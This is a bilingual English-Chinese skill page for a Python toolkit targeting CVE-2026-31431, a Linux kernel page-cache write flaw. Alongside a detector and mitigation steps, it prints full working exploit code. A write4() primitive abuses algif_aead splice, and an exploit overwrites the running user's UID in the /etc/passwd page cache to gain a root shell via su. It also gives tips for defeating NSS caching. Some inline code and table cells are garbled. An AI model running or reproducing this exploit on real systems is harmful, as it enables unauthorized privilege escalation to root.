cve-2026-31431-copy-fail
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseCVE-2026-31431 ("Copy Fail") Toolkit
CVE-2026-31431("Copy Fail")工具包
Skill by ara.so — Daily 2026 Skills collection.
A Python toolkit for detecting and demonstrating CVE-2026-31431, a Linux kernel vulnerability where with performs an in-place AEAD operation via , writing into page-cache pages of regular files — enabling an unprivileged user to corrupt the kernel's in-memory view of or other world-readable files for local privilege escalation.
algif_aeadauthencesn(hmac(sha256),cbc(aes))splice()/etc/passwdAuthorization notice: Use only on systems you own or are explicitly engaged to assess. Running this on unauthorized systems is illegal in most jurisdictions.
技能由ara.so提供 — 2026每日技能合集。
这是一个用于检测和演示CVE-2026-31431的Python工具包,该Linux内核漏洞中,使用的通过执行原地AEAD操作,写入普通文件的页面缓存页——允许非特权用户破坏内核中或其他全局可读文件的内存视图,从而实现本地权限提升。
authencesn(hmac(sha256),cbc(aes))algif_aeadsplice()/etc/passwd**授权声明:**仅可在你拥有或被明确授权评估的系统上使用。在未授权系统上运行此工具在大多数司法管辖区属于违法行为。
Affected Systems
受影响系统
- Linux kernels carrying commit (in-place AEAD, 2017) without the upstream revert
72548b093ee3 - Confirmed affected: Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 14.3, SUSE 16
- 包含提交(原地AEAD功能,2017年)且未应用上游回退补丁的Linux内核
72548b093ee3 - 已确认受影响:Ubuntu 24.04 LTS、Amazon Linux 2023、RHEL 14.3、SUSE 16
Installation
安装
No installation required. Pure Python 3.10+ stdlib — clone and run directly.
sh
git clone https://github.com/rootsecdev/cve_2026_31431.git
cd cve_2026_31431
python3 --version # requires 3.10+无需安装。纯Python 3.10+标准库工具——直接克隆并运行即可。
sh
git clone https://github.com/rootsecdev/cve_2026_31431.git
cd cve_2026_31431
python3 --version # 需要3.10+Files
文件说明
| File | Purpose |
|---|---|
| Non-destructive detector; operates only on a temp sentinel file |
| LPE; flips UID to 0 in |
| 文件 | 用途 |
|---|---|
| 非破坏性检测工具;仅对临时标记文件操作 |
| LPE利用工具;将 |
Key Commands
核心命令
Detector
检测工具
sh
python3 test_cve_2026_31431.pyExit codes:
- — Not vulnerable (precondition not met or page cache intact)
0 - — Test error
1 - — Vulnerable (marker landed in spliced page)
2
sh
python3 test_cve_2026_31431.py退出码说明:
- — 不存在漏洞(未满足前置条件或页面缓存未被篡改)
0 - — 测试出错
1 - — 存在漏洞(标记已写入拼接页面)
2
Exploit
漏洞利用
sh
undefinedsh
undefinedPatch /etc/passwd page cache only (dry-run, auto-reverts on exit)
仅修补/etc/passwd页面缓存(试运行,退出时自动恢复)
python3 exploit_cve_2026_31431.py
python3 exploit_cve_2026_31431.py
Patch and spawn root shell via su
修补并通过su生成root Shell
python3 exploit_cve_2026_31431.py --shell
undefinedpython3 exploit_cve_2026_31431.py --shell
undefinedHow the Vulnerability Works
漏洞原理
sendmsg([8-byte AAD], cmsg=[ALG_SET_OP=DECRYPT, ALG_SET_IV, ALG_SET_AEAD_ASSOCLEN=8],
flags=MSG_MORE)
splice(target_fd, pipe_w, 32, offset_src=file_offset)
splice(pipe_r, op_fd, 32)
recv(op_fd) # returns EBADMSG; scratch write has already landedThe algorithm writes bytes 4–7 of the AAD () into the destination scatterlist. When is used, that destination is the page-cache page of the source file. The on-disk file is never modified.
authencesnseqno_losplice()sendmsg([8字节AAD], cmsg=[ALG_SET_OP=DECRYPT, ALG_SET_IV, ALG_SET_AEAD_ASSOCLEN=8],
flags=MSG_MORE)
splice(target_fd, pipe_w, 32, offset_src=file_offset)
splice(pipe_r, op_fd, 32)
recv(op_fd) # 返回EBADMSG;临时写入已完成authencesnseqno_losplice()Core Detection Logic (from test_cve_2026_31431.py
)
test_cve_2026_31431.py核心检测逻辑(来自test_cve_2026_31431.py
)
test_cve_2026_31431.pypython
import os, socket, struct, tempfile, ctypes
MARKER = b'PWND'
ALG_SET_KEY = 1
ALG_SET_IV = 2
ALG_SET_OP = 3
ALG_SET_AEAD_ASSOCLEN = 4
def check_preconditions():
"""Verify AF_ALG and authencesn algorithm are reachable."""
try:
sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind({
'type': 'aead',
'name': 'authencesn(hmac(sha256),cbc(aes))',
'feat': 0,
'mask': 0,
})
sock.close()
return True
except (OSError, AttributeError):
return False
def write4(target_path, file_offset, payload_4bytes):
"""
Write exactly 4 bytes into the page cache of target_path at file_offset
using the algif_aead splice path. The auth check will fail (EBADMSG)
but the scratch write fires regardless.
"""
assert len(payload_4bytes) == 4
# Build a 256-bit AES key + 256-bit HMAC-SHA256 key (arbitrary for PoC)
aes_key = bytes(32)
hmac_key = bytes(32)
key = hmac_key + aes_key # authencesn key layout
# Create AF_ALG socket bound to the vulnerable algorithm
alg_sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
alg_sock.bind({
'type': 'aead',
'name': 'authencesn(hmac(sha256),cbc(aes))',
'feat': 0,
'mask': 0,
'authsize': 32,
})
alg_sock.setsockopt(socket.SOL_ALG, ALG_SET_KEY, key)
op_fd, _ = alg_sock.accept()
# 8-byte AAD: bytes 0-3 = seqno_hi (ignored), bytes 4-7 = seqno_lo (WRITTEN)
aad = bytes(4) + payload_4bytes # seqno_lo = our 4-byte payload
# Send AAD inline via sendmsg with control messages
iv = bytes(16) # CBC IV
cmsg = [
(socket.SOL_ALG, ALG_SET_OP, struct.pack('I', 0)), # DECRYPT=0
(socket.SOL_ALG, ALG_SET_IV, struct.pack('II', 16, 0) + iv),
(socket.SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack('I', 8)),
]
op_fd.sendmsg([aad], cmsg, socket.MSG_MORE)
# splice the target file's page-cache page into the op socket
pipe_r, pipe_w = os.pipe()
target_fd = os.open(target_path, os.O_RDONLY)
os.splice(target_fd, pipe_w, 32, offset_src=file_offset)
os.splice(pipe_r, op_fd, 32)
# Drive the decryption — EBADMSG expected; scratch write already fired
try:
op_fd.recv(64)
except OSError:
pass # EBADMSG is expected
os.close(pipe_r)
os.close(pipe_w)
os.close(target_fd)
op_fd.close()
alg_sock.close()
def detect():
if not check_preconditions():
print("Precondition not met — AF_ALG or authencesn unavailable")
return 0
with tempfile.NamedTemporaryFile(delete=False) as f:
sentinel_path = f.name
f.write(b'\x00' * 4096)
try:
# Populate page cache
with open(sentinel_path, 'rb') as f:
f.read()
write4(sentinel_path, 0, MARKER)
# Read back from page cache
with open(sentinel_path, 'rb') as f:
data = f.read(16)
if MARKER in data:
print("VULNERABLE to CVE-2026-31431")
return 2
elif data != b'\x00' * 16:
print("Page cache MODIFIED via in-place AEAD splice path — treat as vulnerable")
return 2
else:
print("Page cache intact — not vulnerable")
return 0
finally:
os.unlink(sentinel_path)
if __name__ == '__main__':
raise SystemExit(detect())python
import os, socket, struct, tempfile, ctypes
MARKER = b'PWND'
ALG_SET_KEY = 1
ALG_SET_IV = 2
ALG_SET_OP = 3
ALG_SET_AEAD_ASSOCLEN = 4
def check_preconditions():
"""验证AF_ALG和authencesn算法是否可用。"""
try:
sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind({
'type': 'aead',
'name': 'authencesn(hmac(sha256),cbc(aes))',
'feat': 0,
'mask': 0,
})
sock.close()
return True
except (OSError, AttributeError):
return False
def write4(target_path, file_offset, payload_4bytes):
"""
使用algif_aead拼接路径,向target_path的页面缓存中file_offset位置写入恰好4字节数据。
身份验证会失败(EBADMSG),但临时写入仍会执行。
"""
assert len(payload_4bytes) == 4
# 生成256位AES密钥 + 256位HMAC-SHA256密钥(PoC中可任意设置)
aes_key = bytes(32)
hmac_key = bytes(32)
key = hmac_key + aes_key # authencesn密钥格式
# 创建绑定到易受攻击算法的AF_ALG套接字
alg_sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
alg_sock.bind({
'type': 'aead',
'name': 'authencesn(hmac(sha256),cbc(aes))',
'feat': 0,
'mask': 0,
'authsize': 32,
})
alg_sock.setsockopt(socket.SOL_ALG, ALG_SET_KEY, key)
op_fd, _ = alg_sock.accept()
# 8字节AAD:0-3字节 = seqno_hi(忽略),4-7字节 = seqno_lo(会被写入)
aad = bytes(4) + payload_4bytes # seqno_lo = 我们的4字节载荷
# 通过sendmsg发送AAD及控制消息
iv = bytes(16) # CBC向量
cmsg = [
(socket.SOL_ALG, ALG_SET_OP, struct.pack('I', 0)), # DECRYPT=0
(socket.SOL_ALG, ALG_SET_IV, struct.pack('II', 16, 0) + iv),
(socket.SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack('I', 8)),
]
op_fd.sendmsg([aad], cmsg, socket.MSG_MORE)
# 将目标文件的页面缓存页拼接到操作套接字
pipe_r, pipe_w = os.pipe()
target_fd = os.open(target_path, os.O_RDONLY)
os.splice(target_fd, pipe_w, 32, offset_src=file_offset)
os.splice(pipe_r, op_fd, 32)
# 触发解密操作——预期返回EBADMSG;临时写入已完成
try:
op_fd.recv(64)
except OSError:
pass # EBADMSG属于预期情况
os.close(pipe_r)
os.close(pipe_w)
os.close(target_fd)
op_fd.close()
alg_sock.close()
def detect():
if not check_preconditions():
print("未满足前置条件 — AF_ALG或authencesn不可用")
return 0
with tempfile.NamedTemporaryFile(delete=False) as f:
sentinel_path = f.name
f.write(b'\x00' * 4096)
try:
# 填充页面缓存
with open(sentinel_path, 'rb') as f:
f.read()
write4(sentinel_path, 0, MARKER)
# 从页面缓存读取内容
with open(sentinel_path, 'rb') as f:
data = f.read(16)
if MARKER in data:
print("存在CVE-2026-31431漏洞")
return 2
elif data != b'\x00' * 16:
print("页面缓存已通过原地AEAD拼接路径被修改 — 视为存在漏洞")
return 2
else:
print("页面缓存未被篡改 — 不存在漏洞")
return 0
finally:
os.unlink(sentinel_path)
if __name__ == '__main__':
raise SystemExit(detect())LPE Pattern (from exploit_cve_2026_31431.py
)
exploit_cve_2026_31431.pyLPE利用模式(来自exploit_cve_2026_31431.py
)
exploit_cve_2026_31431.pypython
import os, pwd, subprocess
def find_uid_offset(username):
"""Find the byte offset of the UID field in /etc/passwd for username."""
with open('/etc/passwd', 'rb') as f:
content = f.read()
for line in content.split(b'\n'):
if line.startswith(username.encode() + b':'):
fields = line.split(b':')
# fields[2] is the UID
offset = content.index(line) + sum(len(f) + 1 for f in fields[:2])
uid_field = fields[2]
return offset, uid_field
raise ValueError(f"User {username!r} not found in /etc/passwd")
def exploit(username, spawn_shell=False):
uid_offset, uid_field = find_uid_offset(username)
if len(uid_field) != 4:
raise ValueError(
f"UID {uid_field.decode()!r} is not 4 digits — "
"1-3 digit UIDs require multi-shot writes"
)
print(f"[*] Patching UID at offset {uid_offset} in /etc/passwd page cache...")
write4('/etc/passwd', uid_offset, b'0000')
# Verify libc now reports UID 0
entry = pwd.getpwnam(username)
if entry.pw_uid != 0:
print("[!] getpwnam still returns original UID — NSS cache may be active")
print(" Try: sudo systemctl stop nscd sssd systemd-userdbd")
return
print(f"[+] /etc/passwd page cache patched — {username} now appears as UID 0")
if spawn_shell:
print(f"[*] Spawning root shell via: su {username}")
print("[*] Enter your own password at the prompt")
os.execvp('su', ['su', username])
else:
print("[*] Dry-run complete. Page cache will be evicted on exit.")
# Auto-evict corrupted page on exit
fd = os.open('/etc/passwd', os.O_RDONLY)
os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED)
os.close(fd)
if __name__ == '__main__':
import sys
username = os.environ.get('USER') or os.getlogin()
spawn_shell = '--shell' in sys.argv
exploit(username, spawn_shell)python
import os, pwd, subprocess
def find_uid_offset(username):
"""查找/etc/passwd中指定用户的UID字段的字节偏移量。"""
with open('/etc/passwd', 'rb') as f:
content = f.read()
for line in content.split(b'\n'):
if line.startswith(username.encode() + b':'):
fields = line.split(b':')
# fields[2]是UID
offset = content.index(line) + sum(len(f) + 1 for f in fields[:2])
uid_field = fields[2]
return offset, uid_field
raise ValueError(f"在/etc/passwd中未找到用户{username!r}")
def exploit(username, spawn_shell=False):
uid_offset, uid_field = find_uid_offset(username)
if len(uid_field) != 4:
raise ValueError(
f"UID {uid_field.decode()!r}不是4位数字 — "
"1-3位UID需要多次写入操作"
)
print(f"[*] 正在修补/etc/passwd页面缓存中偏移量{uid_offset}处的UID...")
write4('/etc/passwd', uid_offset, b'0000')
# 验证libc是否返回UID 0
entry = pwd.getpwnam(username)
if entry.pw_uid != 0:
print("[!] getpwnam仍返回原始UID — NSS缓存可能处于活跃状态")
print(" 尝试:sudo systemctl stop nscd sssd systemd-userdbd")
return
print(f"[+] /etc/passwd页面缓存已修补 — {username}现在显示为UID 0")
if spawn_shell:
print(f"[*] 通过命令生成root Shell:su {username}")
print("[*] 在提示符处输入你自己的密码")
os.execvp('su', ['su', username])
else:
print("[*] 试运行完成。页面缓存将在退出时被清除。")
# 退出时自动清除被篡改的页面
fd = os.open('/etc/passwd', os.O_RDONLY)
os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED)
os.close(fd)
if __name__ == '__main__':
import sys
username = os.environ.get('USER') or os.getlogin()
spawn_shell = '--shell' in sys.argv
exploit(username, spawn_shell)Requirements for LPE
LPE利用要求
- Running user has a 4-digit UID (1000–9999)
- No NSS caching daemon masking reads (
/etc/passwd,nscd,sssd)systemd-userdbd - page remains in cache between patch and
/etc/passwdexecsu
- 当前用户拥有4位UID(1000–9999)
- 没有NSS缓存守护进程屏蔽读取操作(
/etc/passwd、nscd、sssd)systemd-userdbd - 页面在修补和执行
/etc/passwd之间保持在缓存中su
Reverting Page Cache Corruption
恢复页面缓存篡改
The on-disk is never modified. To restore normal UID resolution:
/etc/passwdsh
undefined磁盘上的从未被修改。要恢复正常的UID解析:
/etc/passwdsh
undefinedFrom unprivileged user — evict corrupted page:
非特权用户执行 — 清除被篡改的页面:
python3 -c "
import os
fd = os.open('/etc/passwd', os.O_RDONLY)
os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED)
os.close(fd)
"
python3 -c "
import os
fd = os.open('/etc/passwd', os.O_RDONLY)
os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED)
os.close(fd)
"
From root shell — drop all page caches:
Root Shell执行 — 清除所有页面缓存:
echo 3 > /proc/sys/vm/drop_caches
echo 3 > /proc/sys/vm/drop_caches
Or simply reboot
或者直接重启系统
undefinedundefinedMitigation
缓解措施
sh
undefinedsh
undefinedDisable algif_aead module permanently
永久禁用algif_aead模块
sudo tee /etc/modprobe.d/disable-algif-aead.conf <<< 'install algif_aead /bin/false'
sudo tee /etc/modprobe.d/disable-algif-aead.conf <<< 'install algif_aead /bin/false'
Unload if currently loaded
如果当前已加载则卸载
sudo rmmod algif_aead 2>/dev/null
sudo rmmod algif_aead 2>/dev/null
Verify — detector should now report "Precondition not met"
验证 — 检测工具应显示“未满足前置条件”
python3 test_cve_2026_31431.py
undefinedpython3 test_cve_2026_31431.py
undefinedTroubleshooting
故障排查
| Symptom | Cause | Fix |
|---|---|---|
| | Kernel too old or CONFIG_CRYPTO_USER_API_AEAD not set |
| | |
| NSS cache active | Stop |
| Detector exits 0 on known-vulnerable kernel | Page evicted before re-read | Ensure no memory pressure; retry immediately |
| Multi-digit UID < 1000 | | Pad UID field manually or extend |
| 症状 | 原因 | 修复方法 |
|---|---|---|
| | 内核版本过旧或未启用CONFIG_CRYPTO_USER_API_AEAD配置 |
| | |
| 修补后getpwnam仍返回原始UID | NSS缓存处于活跃状态 | 停止 |
| 已知存在漏洞的内核上检测工具返回0 | 重新读取前页面已被清除 | 确保无内存压力;立即重试 |
| UID为少于4位的多位数 | | 手动填充UID字段或扩展 |
References
参考资料
- Disclosure writeup: https://xint.io/blog/copy-fail-linux-distributions
- CVE: CVE-2026-31431
- Upstream fix: revert in-place AEAD to out-of-place, keeping page-cache pages out of writable scatterlists
- 披露文章:https://xint.io/blog/copy-fail-linux-distributions
- CVE编号:CVE-2026-31431
- 上游修复方案:将原地AEAD回退为异地操作,避免页面缓存页进入可写散列表